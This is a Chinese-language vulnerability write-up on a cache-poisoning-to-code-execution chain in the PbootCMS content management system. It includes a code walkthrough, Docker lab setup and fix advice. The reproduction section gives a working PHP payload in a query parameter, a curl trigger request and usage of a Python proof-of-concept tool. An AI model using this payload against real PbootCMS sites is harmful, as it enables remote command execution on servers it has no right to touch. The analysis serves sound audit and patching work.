从前台缓存投毒到代码执行:PbootCMS HTML 缓存链路漏洞分析与复现
字数 3042
更新时间 2026-07-12 00:34:02

PbootCMS 前台缓存投毒导致代码执行漏洞分析与复现教学文档

一、漏洞概述

1.1 漏洞本质

本次分析的漏洞并非传统的单点危险函数漏洞,而是由三条看似正常的逻辑链路组合形成的利用链:

前台匿名请求 → 污染HTML页面内容 → 写入HTML缓存 → 二次命中缓存 → PHP代码执行

1.2 漏洞类型

前台HTML缓存投毒导致远程代码执行(RCE)

1.3 影响版本

V3.2.5 至 V3.2.13(含),其中 V3.2.13-20260525 已完成动态复现验证

1.4 利用条件

  • 命中真实前台路由
  • HTML缓存开启(默认开启)
  • Spider记录逻辑可达(默认可达)
  • 兼容模式路由可用(默认可用)

二、环境搭建

2.1 获取源码

git clone https://github.com/pbootcmspro/PbootCMS.git
cd PbootCMS

2.2 构建Docker环境

PbootCMS不支持PHP 8,需使用PHP 7.4环境:

FROM php:7.4-apache-bullseye

RUN apt-get update \
 && apt-get install -y libsqlite3-dev libfreetype6-dev libjpeg62-turbo-dev libpng-dev unzip \
 && docker-php-ext-configure gd --with-freetype --with-jpeg \
 && docker-php-ext-install pdo pdo_sqlite gd \
 && a2enmod rewrite \
 && sed -ri 's/AllowOverride None/AllowOverride All/g' /etc/apache2/apache2.conf \
 && rm -rf /var/lib/apt/lists/*

WORKDIR /var/www/html

CMD ["bash","-lc","sed -ri 's/^export APACHE_RUN_USER=.*/export APACHE_RUN_USER=root/; s/^export APACHE_RUN_GROUP=.*/export APACHE_RUN_GROUP=root/' /etc/apache2/envvars && apache2-foreground"]

构建镜像:

docker build -t pbootcms-audit-php74 -< Dockerfile

2.3 配置项目

cp rewrite/.htaccess .htaccess
mkdir -p runtime/cache runtime/complile runtime/backup runtime/log
chmod -R 777 runtime

2.4 启动容器

docker run -d \
 --name pbootcms-audit \
 -p 8088:80 \
 -v "$PWD":/var/www/html \
 pbootcms-audit-php74

2.5 验证环境

访问 http://127.0.0.1:8088/,确保首页和aboutus等栏目可正常访问。


三、漏洞链路详细分析

3.1 路由入口:前台路由是漏洞前提

关键代码位置apps/home/controller/IndexController.php_empty() 方法

public function _empty()
{
    $url_rule_type = $this->config('url_rule_type') ?: 3;
    if (P) {
        $path = P;
    } elseif ($url_rule_type == 3 && isset($_SERVER["QUERY_STRING"]) && $qs = $_SERVER["QUERY_STRING"]) {
        parse_str($qs, $output);
        unset($output['page']);
        if ($output && !current($output)) {
            $path = key($output);
        }
    }
    // ...
}

核心要点

  • P 参数存在时,直接作为前台路径
  • url_rule_type=3 时,/?aboutus/ 这种query-key风格也被识别为栏目路径
  • 只有命中真实栏目,后续的模板渲染、Spider注入和缓存写入才会发生

可进入真实页面的请求形态

/?p=/aboutus/
/?aboutus/
/aboutus/

3.2 Spider记录逻辑:将当前URL拼回页面

关键代码位置apps/home/controller/ParserController.php

if ($this->config('spiderlog') !== '0') {
    if ($this->config('tpl_html_cache')) {
        // 缓存时插入script,否则直接执行
        $spidercode = "<script src='" . Url::home('Spider', null, 'url=' . URL) . "' async='async'></script>";
        $content = preg_replace('/(<\/body>)/i', $spidercode . "\n$1", $content);
    } else {
        $spider = new SpiderController(URL);
        $spider->index();
    }
}

危险点

  1. 当前请求路径 URL 参与生成 <script src='...'>
  2. 生成的spidercode直接拼进当前页面的HTML内容
  3. 污染后的 $content 继续流向缓存逻辑

3.3 Url::home() 生成机制

关键代码位置core/basic/Url.php

public static function home($path, $suffix = null, $qs = null)
{
    switch ($url_rule_type) {
        case '3': // 兼容模式
            $qs = $qs ? "&" . $qs : '';
            $link = SITE_INDEX_DIR . '/?' . $path . $suffix . $qs;
            break;
    }
}

生成结果示例

Url::home('Spider', null, 'url=' . URL) 在默认兼容模式下生成:

/?Spider/&url=<当前URL>

这意味着payload通过"当前请求URL反射回页面"的方式进入HTML,而非通过模板标签或数据库字段。

3.4 缓存写入条件的绕过

关键代码位置core/view/View.php

public function cache($content)
{
    if (Config::get('tpl_html_cache') && ! query_string('p,s')) {
        $lg = cookie('lg');
        // ...
        $cacheFile = $this->cachePath . '/' . md5(get_http_url() . $_SERVER["REQUEST_URI"] . $lg . $wap) . '.html';
        file_put_contents($cacheFile, $content) ?: error('缓存文件' . $cacheFile . '生成出错!请检查目录是否有可写权限!');
        return true;
    }
    return false;
}

关键判断! query_string('p,s')

跟进函数core/function/handle.php

function query_string($unset = null)
{
    if (isset($_SERVER["QUERY_STRING"]) && !!$qs = $_SERVER["QUERY_STRING"]) {
        parse_str($qs, $output);
        unset($output['page']);
        $unset = strpos($unset, ',') ? explode(',', $unset) : $unset;
        if (is_array($unset)) {
            foreach ($unset as $value) {
                if (isset($output[$value])) {
                    unset($output[$value]);
                }
            }
        }
        // ...
    }
    return $qs ? '?' . $qs : '';
}

绕过逻辑分析

假设请求为:

/?p=/aboutus/&s=<?=/**/system("whoami");?>
  1. query_string('p,s') 先删除查询参数中的 ps
  2. 删除后若无其他参数,函数返回空字符串
  3. ! query_string('p,s') 条件成立(空字符串取反为true)
  4. 携带payload的整页HTML被写入 runtime/cache/*.html

核心问题:payload明明在query string中,但缓存策略恰好把承载payload的两个参数当成"可忽略参数"。

3.5 缓存内容落盘机制

关键代码位置core/basic/Controller.php

final protected function cache($content, $display = true)
{
    $view = View::getInstance();
    if (Config::get('tpl_html_cache')) {
        $content = str_replace('{pboot:runtime}', 'Cached at ' . date('Y-m-d H:i:s'), $content);
    } else {
        $content = $this->runtime($content);
    }
    $view->cache($content); // 压缩前缓存
    $content = $this->gzip($content);
    // ...
}

要点

  • 写入缓存的是完整页面HTML,非局部模板片段
  • 写入动作发生在gzip之前,缓存文件保存原始可读内容
  • 第一次请求后可在 runtime/cache/*.html 中直接看到被污染的Spider片段

3.6 默认配置放大利用面

项目级配置文件 config/config.php

return array(
    'tpl_html_cache' => 1,
    'tpl_html_cache_time' => 900000000000,
    // ...
);

框架约定默认值 core/convention.php

return array(
    'tpl_html_cache' => 0,
    'tpl_html_cache_time' => 900,
    // ...
);

项目层明确将HTML缓存改为开启状态。

后台配置模板中spiderlog显示逻辑:

<input type="radio" name="spiderlog" value="1"
 {if([$configs.spiderlog.value]=='1'||[$configs.spiderlog.value]=='')} checked="checked" {/if}
 title="启用">

配置项为空时,默认落在"启用"分支。

地址模式

<input type="radio" name="url_rule_type" value="3"
 {if([$configs.url_rule_type.value]==3||![$configs.url_rule_type.value])} checked="checked" {/if}
 title="兼容模式">

项目SQL备份中 url_rule_type 默认值为3。

默认部署视角的三重叠加

  1. HTML缓存默认开启
  2. Spider记录逻辑默认可达
  3. 兼容模式路由默认可用

3.7 二次请求触发代码执行

缓存文件命名规则

$cacheFile = $this->cachePath . '/' . md5(get_http_url() . $_SERVER["REQUEST_URI"] . $lg . $wap) . '.html';

执行原理

第一次请求后,runtime/cache/*.html 保存原始 <?=/**/system("whoami");?>

第二次完全相同请求后,响应中同一位置变为命令执行结果 www-data

原因:缓存命中后,服务端对缓存文件中的PHP标签进行了解释执行,而非纯文本回传。


四、漏洞复现步骤

4.1 确认目标路由真实可达

访问真实存在的栏目,例如:

http://127.0.0.1:8088/?p=/aboutus/

确保返回正常页面,而非首页兜底。

4.2 清理缓存

docker exec pbootcms-audit sh -lc 'rm -f /var/www/html/runtime/cache/*.html'

4.3 首次请求:写入payload到缓存

http://127.0.0.1:8088/?p=/aboutus/&s=<?=/**/system("whoami");?>

第一次访问后,页面尾部出现被污染的Spider脚本:

<script src='/?Spider/&url=/?p=/aboutus/&s=<?=/**/system("whoami");?>' async='async'></script>

同时 runtime/cache/*.html 中存在相同原始代码。

4.4 二次请求:触发代码执行

curl "http://127.0.0.1:8088/?p=/aboutus/&s=<?=/**/system(\"whoami\");?>"

响应中同一位置变为:

<script src='/?Spider/&url=/?p=/aboutus/&s=www-data
www-data' async='async'></script>

双输出现象说明

  • system("whoami") 直接将命令输出打印
  • <?= ... ?> 又将返回值输出一次

此现象可确认为PHP代码执行,而非模板替换行为。

4.5 路由一致性要求

由于缓存文件名包含完整 REQUEST_URI,以下两种请求不会命中同一缓存文件:

/?p=/aboutus/&s=...
/?aboutus/&s=...

利用时必须保持前后请求的路由形态完全一致。


五、PoC工具

5.1 核心逻辑

PoC使用Python实现,主要流程:

  1. 预热路由:发送正常请求获取cookie
  2. 投毒请求:发送携带payload的请求写入缓存
  3. 触发请求:重复相同请求触发缓存命中
  4. 验证结果:检查响应中Spider脚本的s=值是否为空、是否仍包含原始payload

5.2 使用示例

python3 pbootcms_cache_poisoning_rce_poc.py \
  --target http://127.0.0.1:8088/ \
  --route /aboutus/ \
  --use-env-proxy \
  --timeout 8 \
  --cmd "ls" \
  --no-verify

六、影响范围

版本范围 状态
V3.2.5 至 V3.2.12 源码中存在相同关键逻辑和默认前置配置
V3.2.13-20260525 已完成本地动态验证

补充说明

  • GitHub Releases最新发布包为V3.2.12
  • V3.2.13存在于Git Tag和当前代码树中

七、修复建议

7.1 根本修复:缓存文件不再走可解释加载

缓存命中后应将文件作为纯文本读取,而非解释执行:

// 错误做法:include/require解释执行
include($cacheFile);

// 正确做法:file_get_contents纯文本读取
echo file_get_contents($cacheFile);

7.2 对Spider url=参数做双重安全处理

当前实现是直接拼接:

$spidercode = "<script src='" . Url::home('Spider', null, 'url=' . URL) . "' async='async'></script>";

应同时做URL编码和HTML属性编码:

$encoded_url = urlencode(URL);
$safe_url = htmlspecialchars($encoded_url, ENT_QUOTES, 'UTF-8');
$spidercode = "<script src='" . Url::home('Spider', null, 'url=' . $safe_url) . "' async='async'></script>";

7.3 收紧HTML缓存写入条件

  • 默认不缓存带query string的前台请求
  • 即使要缓存,采用参数白名单而非排除少数参数
  • ps等兼容路由参数不应带着原始值参与缓存链路

7.4 临时缓解措施

  • 关闭HTML缓存功能
  • 禁用Spider记录功能
  • 修改路由模式为非兼容模式
  • 通过WAF规则拦截包含PHP标签的请求参数

注意:以上均为临时缓解,非根本解决方案。


八、总结

本漏洞的核心价值在于展示了多环节组合漏洞的分析方法:

环节 表面现象 实际风险
模板输出 普通反射 污染源进入HTML
缓存写入 普通缓存策略 污染内容持久化
二次命中 普通缓存命中 PHP解释执行

对于白盒审计而言,凡是"用户可控内容进入模板输出 → 进入持久化文件 → 在后续请求中被解释处理"的链路,都值得深入挖掘。

相似文章
相似文章
 全屏